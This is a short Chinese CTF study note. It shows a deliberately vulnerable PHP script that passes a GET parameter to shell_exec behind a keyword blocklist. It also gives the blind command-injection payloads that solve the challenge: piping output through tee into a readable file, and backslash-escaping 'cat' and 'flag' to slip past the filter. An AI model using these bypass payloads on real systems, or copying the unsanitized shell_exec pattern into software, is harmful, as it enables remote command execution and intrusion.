RCE-PLUS (学习记录)

源码

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

过滤了很多东西,但是空格什么的没过滤

发现是用shell_exec()无回显的命令执行,所以把文件写入txt看结果

判断指令
复制代码
?cmd=ls / | sleep 5
把回显输入文本文件

两种方法

复制代码
?cmd=ls / | tee 1.txt
?cmd=ls / > tee 1.txt

直接访问

绕过对cat和flag的过滤
复制代码
?cmd=c\at /fl\ag | tee 2.txt
?cmd=c\at /fl\ag > tee 2.txt

总结

无回显RCE

WAF绕过

相关推荐
Trouvaille ~3 分钟前
【Linux】线程同步与互斥(三):生产者消费者模型实战
linux·运维·c++·信号量·阻塞队列·生产者消费者模型·环形队列
遇见火星5 分钟前
Linux Screen 命令入门指南
linux·运维·服务器
计算机程序设计小李同学9 分钟前
幼儿园信息管理系统的设计与实现
前端·bootstrap·html·毕业设计
开开心心就好11 分钟前
键盘改键工具免安装,自定义键位屏蔽误触
java·网络·windows·随机森林·计算机外设·电脑·excel
IManiy12 分钟前
总结之Temporal全局速率控制(二)第三方速率控制服务设计
java
OpenMiniServer19 分钟前
电气化能源革命下的社会
java·人工智能·能源
独自破碎E23 分钟前
LCR_019_验证回文串II
java·开发语言
坚持就完事了27 分钟前
Java中的一些关键字
java·开发语言
雨季66637 分钟前
Flutter 三端应用实战:OpenHarmony “专注时光盒”——在碎片洪流中守护心流的数字容器
开发语言·前端·安全·flutter·交互
Doro再努力42 分钟前
【Linux操作系统06】深入理解权限掩码与粘滞位
linux·运维·服务器